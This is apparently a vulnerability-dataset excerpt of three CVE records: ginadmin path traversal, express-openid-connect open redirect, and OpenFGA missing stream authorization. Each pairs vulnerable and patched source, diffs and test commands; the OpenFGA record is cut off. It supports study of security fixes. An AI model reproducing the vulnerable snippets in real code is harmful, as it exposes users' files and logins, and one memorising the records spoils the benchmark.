{"cve_id": "CVE-2022-30427", "cve_description": "In ginadmin through 05-10-2022 the incoming path value is not filtered, resulting in directory traversal.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gphper/ginadmin", "patch_url": ["https://github.com/gphper/ginadmin/commit/726109f01ad23523715f36f7d272958064666a30"], "programing_language": "Go", "vul_func": [{"id": "vul_go_136_1", "commit": "f519fa8", "file_path": "internal/controllers/admin/setting/adminSystemController.go", "start_line": 67, "end_line": 108, "snippet": "func (con adminSystemController) GetDir(c *gin.Context) {\n\n\ttype FileNode struct {\n\t\tName string `json:\"name\"`\n\t\tPath string `json:\"path\"`\n\t\tType string `json:\"type\"`\n\t}\n\n\tvar (\n\t\tpath      string\n\t\terr       error\n\t\tfileSlice []FileNode\n\t\tfiles     []fs.FileInfo\n\t)\n\n\tfileSlice = make([]FileNode, 0)\n\tpath = gstrings.JoinStr(configs.RootPath, c.Query(\"path\"))\n\n\tfiles, err = ioutil.ReadDir(path)\n\tif err != nil {\n\t\tcon.Error(c, \"\\u83b7\\u53d6\\u76ee\\u5f55\\u5931\\u8d25\")\n\t\treturn\n\t}\n\n\tfor _, v := range files {\n\t\tvar fileType string\n\t\tif v.IsDir() {\n\t\t\tfileType = \"dir\"\n\t\t} else {\n\t\t\tfileType = \"file\"\n\t\t}\n\t\tfileSlice = append(fileSlice, FileNode{\n\t\t\tName: v.Name(),\n\t\t\tPath: gstrings.JoinStr(c.Query(\"path\"), string(filepath.Separator), v.Name()),\n\t\t\tType: fileType,\n\t\t})\n\t}\n\n\tc.JSON(http.StatusOK, gin.H{\n\t\t\"data\": fileSlice,\n\t})\n}"}, {"id": "vul_go_136_2", "commit": "f519fa8", "file_path": "internal/controllers/admin/setting/adminSystemController.go", "start_line": 113, "end_line": 162, "snippet": "func (con adminSystemController) View(c *gin.Context) {\n\n\tvar (\n\t\terr       error\n\t\tstartLine int\n\t\tendLine   int\n\t\tscanner   *bufio.Scanner\n\t\tline      int\n\t)\n\n\tstartLine, err = strconv.Atoi(c.DefaultQuery(\"start_line\", \"1\"))\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\tendLine, err = strconv.Atoi(c.DefaultQuery(\"end_line\", \"20\"))\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\n\tvar filecontents []string\n\tfilePath := gstrings.JoinStr(configs.RootPath, c.Query(\"path\"))\n\tfi, err := os.Open(filePath)\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\tdefer fi.Close()\n\n\tscanner = bufio.NewScanner(fi)\n\tfor scanner.Scan() {\n\t\tline++\n\t\tif line >= startLine && line <= endLine {\n\t\t\t// \\u5728\\u8981\\u6c42\\u884c\\u6570\\u5185\\u53d6\\u5f97\\u6570\\u636e\n\t\t\tfilecontents = append(filecontents, scanner.Text())\n\t\t} else {\n\t\t\tcontinue\n\t\t}\n\t}\n\n\tc.HTML(http.StatusOK, \"setting/systemlog_view.html\", gin.H{\n\t\t\"file_path\":    c.Query(\"path\"),\n\t\t\"filecontents\": filecontents,\n\t\t\"start_line\":   startLine,\n\t\t\"end_line\":     endLine,\n\t\t\"line\":         line,\n\t})\n\n}"}, {"id": "vul_go_136_3", "commit": "f519fa8", "file_path": "pkg/utils/filesystem/filesystem.go", "start_line": 94, "end_line": 103, "snippet": "func JoinStr(items ...interface{}) string {\n\tif len(items) == 0 {\n\t\treturn \"\"\n\t}\n\tvar builder strings.Builder\n\tfor _, v := range items {\n\t\tbuilder.WriteString(v.(string))\n\t}\n\treturn builder.String()\n}"}], "fix_func": [{"id": "fix_go_136_1", "commit": "726109f", "file_path": "internal/controllers/admin/setting/adminSystemController.go", "start_line": 68, "end_line": 113, "snippet": "func (con adminSystemController) GetDir(c *gin.Context) {\n\n\ttype FileNode struct {\n\t\tName string `json:\"name\"`\n\t\tPath string `json:\"path\"`\n\t\tType string `json:\"type\"`\n\t}\n\n\tvar (\n\t\tpath      string\n\t\terr       error\n\t\tfileSlice []FileNode\n\t\tfiles     []fs.FileInfo\n\t)\n\n\tfileSlice = make([]FileNode, 0)\n\tpath, err = filesystem.FilterPath(configs.RootPath+\"logs\", c.Query(\"path\"))\n\tif err != nil {\n\t\tcon.Error(c, err.Error())\n\t\treturn\n\t}\n\n\tfiles, err = ioutil.ReadDir(path)\n\tif err != nil {\n\t\tcon.Error(c, \"\\u83b7\\u53d6\\u76ee\\u5f55\\u5931\\u8d25\")\n\t\treturn\n\t}\n\n\tfor _, v := range files {\n\t\tvar fileType string\n\t\tif v.IsDir() {\n\t\t\tfileType = \"dir\"\n\t\t} else {\n\t\t\tfileType = \"file\"\n\t\t}\n\t\tfileSlice = append(fileSlice, FileNode{\n\t\t\tName: v.Name(),\n\t\t\tPath: gstrings.JoinStr(c.Query(\"path\"), string(filepath.Separator), v.Name()),\n\t\t\tType: fileType,\n\t\t})\n\t}\n\n\tc.JSON(http.StatusOK, gin.H{\n\t\t\"data\": fileSlice,\n\t})\n}"}, {"id": "fix_go_136_2", "commit": "726109f", "file_path": "internal/controllers/admin/setting/adminSystemController.go", "start_line": 118, "end_line": 172, "snippet": "func (con adminSystemController) View(c *gin.Context) {\n\n\tvar (\n\t\terr       error\n\t\tstartLine int\n\t\tendLine   int\n\t\tscanner   *bufio.Scanner\n\t\tline      int\n\t)\n\n\tstartLine, err = strconv.Atoi(c.DefaultQuery(\"start_line\", \"1\"))\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\tendLine, err = strconv.Atoi(c.DefaultQuery(\"end_line\", \"20\"))\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\n\tvar filecontents []string\n\tfilePath, err := filesystem.FilterPath(configs.RootPath+\"logs\", c.Query(\"path\"))\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\n\tfi, err := os.Open(filePath)\n\tif err != nil {\n\t\tcon.ErrorHtml(c, err)\n\t\treturn\n\t}\n\tdefer fi.Close()\n\n\tscanner = bufio.NewScanner(fi)\n\tfor scanner.Scan() {\n\t\tline++\n\t\tif line >= startLine && line <= endLine {\n\t\t\t// \\u5728\\u8981\\u6c42\\u884c\\u6570\\u5185\\u53d6\\u5f97\\u6570\\u636e\n\t\t\tfilecontents = append(filecontents, scanner.Text())\n\t\t} else {\n\t\t\tcontinue\n\t\t}\n\t}\n\n\tc.HTML(http.StatusOK, \"setting/systemlog_view.html\", gin.H{\n\t\t\"file_path\":    c.Query(\"path\"),\n\t\t\"filecontents\": filecontents,\n\t\t\"start_line\":   startLine,\n\t\t\"end_line\":     endLine,\n\t\t\"line\":         line,\n\t})\n\n}"}, {"id": "fix_go_136_3", "commit": "726109f", "file_path": "pkg/utils/filesystem/filesystem.go", "start_line": 96, "end_line": 113, "snippet": "func FilterPath(root, path string) (string, error) {\n\n\tnewPath := fmt.Sprintf(\"%s%s\", root, path)\n\tabsPath, err := filepath.Abs(newPath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tabsPath = filepath.FromSlash(absPath)\n\tifOver := filepath.HasPrefix(absPath, filepath.FromSlash(root))\n\tfmt.Println(absPath)\n\tfmt.Println(filepath.FromSlash(root))\n\tif !ifOver {\n\t\treturn \"\", errors.New(\"access to the path is prohibited\")\n\t}\n\n\treturn absPath, nil\n}"}], "vul_patch": "--- a/internal/controllers/admin/setting/adminSystemController.go\n+++ b/internal/controllers/admin/setting/adminSystemController.go\n@@ -14,7 +14,11 @@\n \t)\n \n \tfileSlice = make([]FileNode, 0)\n-\tpath = gstrings.JoinStr(configs.RootPath, c.Query(\"path\"))\n+\tpath, err = filesystem.FilterPath(configs.RootPath+\"logs\", c.Query(\"path\"))\n+\tif err != nil {\n+\t\tcon.Error(c, err.Error())\n+\t\treturn\n+\t}\n \n \tfiles, err = ioutil.ReadDir(path)\n \tif err != nil {\n\n--- a/internal/controllers/admin/setting/adminSystemController.go\n+++ b/internal/controllers/admin/setting/adminSystemController.go\n@@ -20,7 +20,12 @@\n \t}\n \n \tvar filecontents []string\n-\tfilePath := gstrings.JoinStr(configs.RootPath, c.Query(\"path\"))\n+\tfilePath, err := filesystem.FilterPath(configs.RootPath+\"logs\", c.Query(\"path\"))\n+\tif err != nil {\n+\t\tcon.ErrorHtml(c, err)\n+\t\treturn\n+\t}\n+\n \tfi, err := os.Open(filePath)\n \tif err != nil {\n \t\tcon.ErrorHtml(c, err)\n\n--- a/pkg/utils/filesystem/filesystem.go\n+++ b/pkg/utils/filesystem/filesystem.go\n@@ -1,10 +1,18 @@\n-func JoinStr(items ...interface{}) string {\n-\tif len(items) == 0 {\n-\t\treturn \"\"\n+func FilterPath(root, path string) (string, error) {\n+\n+\tnewPath := fmt.Sprintf(\"%s%s\", root, path)\n+\tabsPath, err := filepath.Abs(newPath)\n+\tif err != nil {\n+\t\treturn \"\", err\n \t}\n-\tvar builder strings.Builder\n-\tfor _, v := range items {\n-\t\tbuilder.WriteString(v.(string))\n+\n+\tabsPath = filepath.FromSlash(absPath)\n+\tifOver := filepath.HasPrefix(absPath, filepath.FromSlash(root))\n+\tfmt.Println(absPath)\n+\tfmt.Println(filepath.FromSlash(root))\n+\tif !ifOver {\n+\t\treturn \"\", errors.New(\"access to the path is prohibited\")\n \t}\n-\treturn builder.String()\n+\n+\treturn absPath, nil\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-24794", "cve_description": "Express OpenID Connect is an Express JS middleware implementing sign on for Express web apps using OpenID Connect. Users of the `requiresAuth` middleware, either directly or through the default `authRequired` option, are vulnerable to an Open Redirect when the middleware is applied to a catch all route. If all routes under `example.com` are protected with the `requiresAuth` middleware, a visit to `http://example.com//google.com` will be redirected to `google.com` after login because the original url reported by the Express framework is not properly sanitized. This vulnerability affects versions prior to 2.7.2. Users are advised to upgrade. There are no known workarounds.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/auth0/express-openid-connect", "patch_url": ["https://github.com/auth0/express-openid-connect/commit/0947b92164a2c5f661ebcc183d37e7f21de719ad"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_45_1", "commit": "c619f67", "file_path": "lib/context.js", "start_line": 179, "end_line": 272, "snippet": "  async login(options = {}) {\n    let { config, req, res, next, transient } = weakRef(this);\n    next = cb(next).once();\n    const client = await getClient(config);\n\n    // Set default returnTo value, allow passed-in options to override or use originalUrl on GET\n    let returnTo = config.baseURL;\n    if (options.returnTo) {\n      returnTo = options.returnTo;\n      debug('req.oidc.login() called with returnTo: %s', returnTo);\n    } else if (req.method === 'GET' && req.originalUrl) {\n      returnTo = req.originalUrl;\n      debug('req.oidc.login() without returnTo, using: %s', returnTo);\n    }\n\n    options = {\n      authorizationParams: {},\n      returnTo,\n      ...options,\n    };\n\n    // Ensure a redirect_uri, merge in configuration options, then passed-in options.\n    options.authorizationParams = {\n      redirect_uri: this.getRedirectUri(),\n      ...config.authorizationParams,\n      ...options.authorizationParams,\n    };\n\n    const stateValue = await config.getLoginState(req, options);\n    if (typeof stateValue !== 'object') {\n      next(new Error('Custom state value must be an object.'));\n    }\n    stateValue.nonce = transient.generateNonce();\n    if (options.silent) {\n      stateValue.attemptingSilentLogin = true;\n    }\n\n    const usePKCE = options.authorizationParams.response_type.includes('code');\n    if (usePKCE) {\n      debug(\n        'response_type includes code, the authorization request will use PKCE'\n      );\n      stateValue.code_verifier = transient.generateCodeVerifier();\n    }\n\n    try {\n      const validResponseTypes = ['id_token', 'code id_token', 'code'];\n      assert(\n        validResponseTypes.includes(options.authorizationParams.response_type),\n        `response_type should be one of ${validResponseTypes.join(', ')}`\n      );\n      assert(\n        /\\bopenid\\b/.test(options.authorizationParams.scope),\n        'scope should contain \"openid\"'\n      );\n\n      const authVerification = {\n        nonce: transient.generateNonce(),\n        state: encodeState(stateValue),\n        ...(options.authorizationParams.max_age\n          ? {\n              max_age: options.authorizationParams.max_age,\n            }\n          : undefined),\n      };\n      const authParams = {\n        ...options.authorizationParams,\n        ...authVerification,\n      };\n\n      if (usePKCE) {\n        authVerification.code_verifier = transient.generateNonce();\n\n        authParams.code_challenge_method = 'S256';\n        authParams.code_challenge = transient.calculateCodeChallenge(\n          authVerification.code_verifier\n        );\n      }\n\n      transient.store('auth_verification', req, res, {\n        sameSite:\n          options.authorizationParams.response_mode === 'form_post'\n            ? 'None'\n            : config.transactionCookie.sameSite,\n        value: JSON.stringify(authVerification),\n      });\n\n      const authorizationUrl = client.authorizationUrl(authParams);\n      debug('redirecting to %s', authorizationUrl);\n      res.redirect(authorizationUrl);\n    } catch (err) {\n      next(err);\n    }\n  }"}], "fix_func": [{"id": "fix_js_45_1", "commit": "0947b92", "file_path": "lib/context.js", "start_line": 179, "end_line": 273, "snippet": "  async login(options = {}) {\n    let { config, req, res, next, transient } = weakRef(this);\n    next = cb(next).once();\n    const client = await getClient(config);\n\n    // Set default returnTo value, allow passed-in options to override or use originalUrl on GET\n    let returnTo = config.baseURL;\n    if (options.returnTo) {\n      returnTo = options.returnTo;\n      debug('req.oidc.login() called with returnTo: %s', returnTo);\n    } else if (req.method === 'GET' && req.originalUrl) {\n      // Collapse any leading slashes to a single slash to prevent Open Redirects\n      returnTo = req.originalUrl.replace(/^\\/+/, '/');\n      debug('req.oidc.login() without returnTo, using: %s', returnTo);\n    }\n\n    options = {\n      authorizationParams: {},\n      returnTo,\n      ...options,\n    };\n\n    // Ensure a redirect_uri, merge in configuration options, then passed-in options.\n    options.authorizationParams = {\n      redirect_uri: this.getRedirectUri(),\n      ...config.authorizationParams,\n      ...options.authorizationParams,\n    };\n\n    const stateValue = await config.getLoginState(req, options);\n    if (typeof stateValue !== 'object') {\n      next(new Error('Custom state value must be an object.'));\n    }\n    stateValue.nonce = transient.generateNonce();\n    if (options.silent) {\n      stateValue.attemptingSilentLogin = true;\n    }\n\n    const usePKCE = options.authorizationParams.response_type.includes('code');\n    if (usePKCE) {\n      debug(\n        'response_type includes code, the authorization request will use PKCE'\n      );\n      stateValue.code_verifier = transient.generateCodeVerifier();\n    }\n\n    try {\n      const validResponseTypes = ['id_token', 'code id_token', 'code'];\n      assert(\n        validResponseTypes.includes(options.authorizationParams.response_type),\n        `response_type should be one of ${validResponseTypes.join(', ')}`\n      );\n      assert(\n        /\\bopenid\\b/.test(options.authorizationParams.scope),\n        'scope should contain \"openid\"'\n      );\n\n      const authVerification = {\n        nonce: transient.generateNonce(),\n        state: encodeState(stateValue),\n        ...(options.authorizationParams.max_age\n          ? {\n              max_age: options.authorizationParams.max_age,\n            }\n          : undefined),\n      };\n      const authParams = {\n        ...options.authorizationParams,\n        ...authVerification,\n      };\n\n      if (usePKCE) {\n        authVerification.code_verifier = transient.generateNonce();\n\n        authParams.code_challenge_method = 'S256';\n        authParams.code_challenge = transient.calculateCodeChallenge(\n          authVerification.code_verifier\n        );\n      }\n\n      transient.store('auth_verification', req, res, {\n        sameSite:\n          options.authorizationParams.response_mode === 'form_post'\n            ? 'None'\n            : config.transactionCookie.sameSite,\n        value: JSON.stringify(authVerification),\n      });\n\n      const authorizationUrl = client.authorizationUrl(authParams);\n      debug('redirecting to %s', authorizationUrl);\n      res.redirect(authorizationUrl);\n    } catch (err) {\n      next(err);\n    }\n  }"}], "vul_patch": "--- a/lib/context.js\n+++ b/lib/context.js\n@@ -9,7 +9,8 @@\n       returnTo = options.returnTo;\n       debug('req.oidc.login() called with returnTo: %s', returnTo);\n     } else if (req.method === 'GET' && req.originalUrl) {\n-      returnTo = req.originalUrl;\n+      // Collapse any leading slashes to a single slash to prevent Open Redirects\n+      returnTo = req.originalUrl.replace(/^\\/+/, '/');\n       debug('req.oidc.login() without returnTo, using: %s', returnTo);\n     }\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-24794:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/express-openid-connect\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"should collapse leading slashes on returnTo\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-24794:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/express-openid-connect\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha test/requiresAuth.tests.js"}
{"cve_id": "CVE-2022-39340", "cve_description": "OpenFGA is an authorization/permission engine. Prior to version 0.2.4, the `streamed-list-objects` endpoint was not validating the authorization header, resulting in disclosure of objects in the store. Users `openfga/openfga` versions 0.2.3 and prior who are exposing the OpenFGA service to the internet are vulnerable. Version 0.2.4 contains a patch for this issue.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/openfga/openfga", "patch_url": ["https://github.com/openfga/openfga/commit/779d73d4b6d067ee042ec9b59fec707eed71e42f"], "programing_language": "Go", "vul_func": [{"id": "vul_go_18_1", "commit": "c8db1ee", "file_path": "pkg/cmd/service/service.go", "start_line": 280, "end_line": 432, "snippet": "func BuildService(config *Config, logger logger.Logger) (*service, error) {\n\ttracer := telemetry.NewNoopTracer()\n\tmeter := telemetry.NewNoopMeter()\n\ttokenEncoder := encoder.NewTokenEncoder(encrypter.NewNoopEncrypter(), encoder.NewBase64Encoder())\n\n\tvar datastore storage.OpenFGADatastore\n\tvar err error\n\tswitch config.Datastore.Engine {\n\tcase \"memory\":\n\t\tdatastore = memory.New(tracer, config.MaxTuplesPerWrite, config.MaxTypesPerAuthorizationModel)\n\tcase \"mysql\":\n\t\topts := []mysql.MySQLOption{\n\t\t\tmysql.WithLogger(logger),\n\t\t\tmysql.WithTracer(tracer),\n\t\t}\n\n\t\tdatastore, err = mysql.NewMySQLDatastore(config.Datastore.URI, opts...)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Errorf(\"failed to initialize mysql datastore: %v\", err)\n\t\t}\n\tcase \"postgres\":\n\t\topts := []postgres.PostgresOption{\n\t\t\tpostgres.WithLogger(logger),\n\t\t\tpostgres.WithTracer(tracer),\n\t\t}\n\n\t\tdatastore, err = postgres.NewPostgresDatastore(config.Datastore.URI, opts...)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Errorf(\"failed to initialize postgres datastore: %v\", err)\n\t\t}\n\tdefault:\n\t\treturn nil, errors.Errorf(\"storage engine '%s' is unsupported\", config.Datastore.Engine)\n\t}\n\n\tlogger.Info(fmt.Sprintf(\"using '%v' storage engine\", config.Datastore.Engine))\n\n\tvar grpcTLSConfig *server.TLSConfig\n\tif config.GRPC.TLS.Enabled {\n\t\tif config.GRPC.TLS.CertPath == \"\" || config.GRPC.TLS.KeyPath == \"\" {\n\t\t\treturn nil, ErrInvalidGRPCTLSConfig\n\t\t}\n\t\tgrpcTLSConfig = &server.TLSConfig{\n\t\t\tCertPath: config.GRPC.TLS.CertPath,\n\t\t\tKeyPath:  config.GRPC.TLS.KeyPath,\n\t\t}\n\t\tlogger.Info(\"grpc TLS is enabled, serving connections using the provided certificate\")\n\t} else {\n\t\tlogger.Warn(\"grpc TLS is disabled, serving connections using insecure plaintext\")\n\t}\n\n\tvar httpTLSConfig *server.TLSConfig\n\tif config.HTTP.TLS.Enabled {\n\t\tif config.HTTP.TLS.CertPath == \"\" || config.HTTP.TLS.KeyPath == \"\" {\n\t\t\treturn nil, ErrInvalidHTTPTLSConfig\n\t\t}\n\t\thttpTLSConfig = &server.TLSConfig{\n\t\t\tCertPath: config.HTTP.TLS.CertPath,\n\t\t\tKeyPath:  config.HTTP.TLS.KeyPath,\n\t\t}\n\t\tlogger.Info(\"HTTP TLS is enabled, serving HTTP connections using the provided certificate\")\n\t} else {\n\t\tlogger.Warn(\"HTTP TLS is disabled, serving connections using insecure plaintext\")\n\t}\n\n\tvar authenticator authn.Authenticator\n\tswitch config.Authn.Method {\n\tcase \"none\":\n\t\tlogger.Warn(\"authentication is disabled\")\n\t\tauthenticator = authn.NoopAuthenticator{}\n\tcase \"preshared\":\n\t\tlogger.Info(\"using 'preshared' authentication\")\n\t\tauthenticator, err = presharedkey.NewPresharedKeyAuthenticator(config.Authn.Keys)\n\tcase \"oidc\":\n\t\tlogger.Info(\"using 'oidc' authentication\")\n\t\tauthenticator, err = oidc.NewRemoteOidcAuthenticator(config.Authn.Issuer, config.Authn.Audience)\n\tdefault:\n\t\treturn nil, errors.Errorf(\"unsupported authentication method '%v'\", config.Authn.Method)\n\t}\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to initialize authenticator: %v\", err)\n\t}\n\n\tinterceptors := []grpc.UnaryServerInterceptor{\n\t\tgrpc_auth.UnaryServerInterceptor(middleware.AuthFunc(authenticator)),\n\t\tmiddleware.NewErrorLoggingInterceptor(logger),\n\t}\n\n\tgrpcHostAddr, grpcHostPort, err := net.SplitHostPort(config.GRPC.Addr)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"`grpc.addr` config must be in the form [host]:port\")\n\t}\n\n\tif grpcHostAddr == \"\" {\n\t\tgrpcHostAddr = \"0.0.0.0\"\n\t}\n\n\tgrpcAddr, err := netip.ParseAddrPort(fmt.Sprintf(\"%s:%s\", grpcHostAddr, grpcHostPort))\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to parse the 'grpc.addr' config: %v\", err)\n\t}\n\n\thttpHostAddr, httpHostPort, err := net.SplitHostPort(config.HTTP.Addr)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"`http.addr` config must be in the form [host]:port\")\n\t}\n\n\tif httpHostAddr == \"\" {\n\t\thttpHostAddr = \"0.0.0.0\"\n\t}\n\n\thttpAddr, err := netip.ParseAddrPort(fmt.Sprintf(\"%s:%s\", httpHostAddr, httpHostPort))\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to parse the 'http.addr' config: %v\", err)\n\t}\n\n\topenFgaServer, err := server.New(&server.Dependencies{\n\t\tDatastore:    caching.NewCachedOpenFGADatastore(datastore, config.Datastore.MaxCacheSize),\n\t\tTracer:       tracer,\n\t\tLogger:       logger,\n\t\tMeter:        meter,\n\t\tTokenEncoder: tokenEncoder,\n\t}, &server.Config{\n\t\tGRPCServer: server.GRPCServerConfig{\n\t\t\tAddr:      grpcAddr,\n\t\t\tTLSConfig: grpcTLSConfig,\n\t\t},\n\t\tHTTPServer: server.HTTPServerConfig{\n\t\t\tEnabled:            config.HTTP.Enabled,\n\t\t\tAddr:               httpAddr,\n\t\t\tTLSConfig:          httpTLSConfig,\n\t\t\tUpstreamTimeout:    config.HTTP.UpstreamTimeout,\n\t\t\tCORSAllowedOrigins: config.HTTP.CORSAllowedOrigins,\n\t\t\tCORSAllowedHeaders: config.HTTP.CORSAllowedHeaders,\n\t\t},\n\t\tResolveNodeLimit:       config.ResolveNodeLimit,\n\t\tChangelogHorizonOffset: config.ChangelogHorizonOffset,\n\t\tListObjectsDeadline:    config.ListObjectsDeadline,\n\t\tListObjectsMaxResults:  config.ListObjectsMaxResults,\n\t\tUnaryInterceptors:      interceptors,\n\t\tMuxOptions:             nil,\n\t})\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to initialize openfga server: %v\", err)\n\t}\n\n\treturn &service{\n\t\tserver:        openFgaServer,\n\t\tgrpcAddr:      grpcAddr,\n\t\thttpAddr:      httpAddr,\n\t\tdatastore:     datastore,\n\t\tauthenticator: authenticator,\n\t}, nil\n}"}], "fix_func": [{"id": "fix_go_18_1", "commit": "779d73d", "file_path": "pkg/cmd/service/service.go", "start_line": 280, "end_line": 438, "snippet": "func BuildService(config *Config, logger logger.Logger) (*service, error) {\n\ttracer := telemetry.NewNoopTracer()\n\tmeter := telemetry.NewNoopMeter()\n\ttokenEncoder := encoder.NewTokenEncoder(encrypter.NewNoopEncrypter(), encoder.NewBase64Encoder())\n\n\tvar datastore storage.OpenFGADatastore\n\tvar err error\n\tswitch config.Datastore.Engine {\n\tcase \"memory\":\n\t\tdatastore = memory.New(tracer, config.MaxTuplesPerWrite, config.MaxTypesPerAuthorizationModel)\n\tcase \"mysql\":\n\t\topts := []mysql.MySQLOption{\n\t\t\tmysql.WithLogger(logger),\n\t\t\tmysql.WithTracer(tracer),\n\t\t}\n\n\t\tdatastore, err = mysql.NewMySQLDatastore(config.Datastore.URI, opts...)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Errorf(\"failed to initialize mysql datastore: %v\", err)\n\t\t}\n\tcase \"postgres\":\n\t\topts := []postgres.PostgresOption{\n\t\t\tpostgres.WithLogger(logger),\n\t\t\tpostgres.WithTracer(tracer),\n\t\t}\n\n\t\tdatastore, err = postgres.NewPostgresDatastore(config.Datastore.URI, opts...)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Errorf(\"failed to initialize postgres datastore: %v\", err)\n\t\t}\n\tdefault:\n\t\treturn nil, errors.Errorf(\"storage engine '%s' is unsupported\", config.Datastore.Engine)\n\t}\n\n\tlogger.Info(fmt.Sprintf(\"using '%v' storage engine\", config.Datastore.Engine))\n\n\tvar grpcTLSConfig *server.TLSConfig\n\tif config.GRPC.TLS.Enabled {\n\t\tif config.GRPC.TLS.CertPath == \"\" || config.GRPC.TLS.KeyPath == \"\" {\n\t\t\treturn nil, ErrInvalidGRPCTLSConfig\n\t\t}\n\t\tgrpcTLSConfig = &server.TLSConfig{\n\t\t\tCertPath: config.GRPC.TLS.CertPath,\n\t\t\tKeyPath:  config.GRPC.TLS.KeyPath,\n\t\t}\n\t\tlogger.Info(\"grpc TLS is enabled, serving connections using the provided certificate\")\n\t} else {\n\t\tlogger.Warn(\"grpc TLS is disabled, serving connections using insecure plaintext\")\n\t}\n\n\tvar httpTLSConfig *server.TLSConfig\n\tif config.HTTP.TLS.Enabled {\n\t\tif config.HTTP.TLS.CertPath == \"\" || config.HTTP.TLS.KeyPath == \"\" {\n\t\t\treturn nil, ErrInvalidHTTPTLSConfig\n\t\t}\n\t\thttpTLSConfig = &server.TLSConfig{\n\t\t\tCertPath: config.HTTP.TLS.CertPath,\n\t\t\tKeyPath:  config.HTTP.TLS.KeyPath,\n\t\t}\n\t\tlogger.Info(\"HTTP TLS is enabled, serving HTTP connections using the provided certificate\")\n\t} else {\n\t\tlogger.Warn(\"HTTP TLS is disabled, serving connections using insecure plaintext\")\n\t}\n\n\tvar authenticator authn.Authenticator\n\tswitch config.Authn.Method {\n\tcase \"none\":\n\t\tlogger.Warn(\"authentication is disabled\")\n\t\tauthenticator = authn.NoopAuthenticator{}\n\tcase \"preshared\":\n\t\tlogger.Info(\"using 'preshared' authentication\")\n\t\tauthenticator, err = presharedkey.NewPresharedKeyAuthenticator(config.Authn.Keys)\n\tcase \"oidc\":\n\t\tlogger.Info(\"using 'oidc' authentication\")\n\t\tauthenticator, err = oidc.NewRemoteOidcAuthenticator(config.Authn.Issuer, config.Authn.Audience)\n\tdefault:\n\t\treturn nil, errors.Errorf(\"unsupported authentication method '%v'\", config.Authn.Method)\n\t}\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to initialize authenticator: %v\", err)\n\t}\n\n\tunaryServerInterceptors := []grpc.UnaryServerInterceptor{\n\t\tgrpc_auth.UnaryServerInterceptor(middleware.AuthFunc(authenticator)),\n\t\tmiddleware.NewErrorLoggingInterceptor(logger),\n\t}\n\n\tstreamingServerInterceptors := []grpc.StreamServerInterceptor{\n\t\tgrpc_auth.StreamServerInterceptor(middleware.AuthFunc(authenticator)),\n\t\tmiddleware.NewStreamingErrorLoggingInterceptor(logger),\n\t}\n\n\tgrpcHostAddr, grpcHostPort, err := net.SplitHostPort(config.GRPC.Addr)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"`grpc.addr` config must be in the form [host]:port\")\n\t}\n\n\tif grpcHostAddr == \"\" {\n\t\tgrpcHostAddr = \"0.0.0.0\"\n\t}\n\n\tgrpcAddr, err := netip.ParseAddrPort(fmt.Sprintf(\"%s:%s\", grpcHostAddr, grpcHostPort))\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to parse the 'grpc.addr' config: %v\", err)\n\t}\n\n\thttpHostAddr, httpHostPort, err := net.SplitHostPort(config.HTTP.Addr)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"`http.addr` config must be in the form [host]:port\")\n\t}\n\n\tif httpHostAddr == \"\" {\n\t\thttpHostAddr = \"0.0.0.0\"\n\t}\n\n\thttpAddr, err := netip.ParseAddrPort(fmt.Sprintf(\"%s:%s\", httpHostAddr, httpHostPort))\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"failed to parse the 'http.addr' config: %v\", err)\n\t}\n\n\topenFgaServer, err := server.New(&server.Dependencies{\n\t\tDatastore:    caching.NewCachedOpenFGADatastore(datastore, config.Datastore.MaxCacheSize),\n\t\tTracer:       tracer,\n\t\tLogger:       logger,\n\t\tMeter:        meter,\n\t\tTokenEncoder: tokenEncoder,\n\t}, &server.Config{\n\t\tGRPCServer: server.GRPCServerConfig{\n\t\t\tAddr:      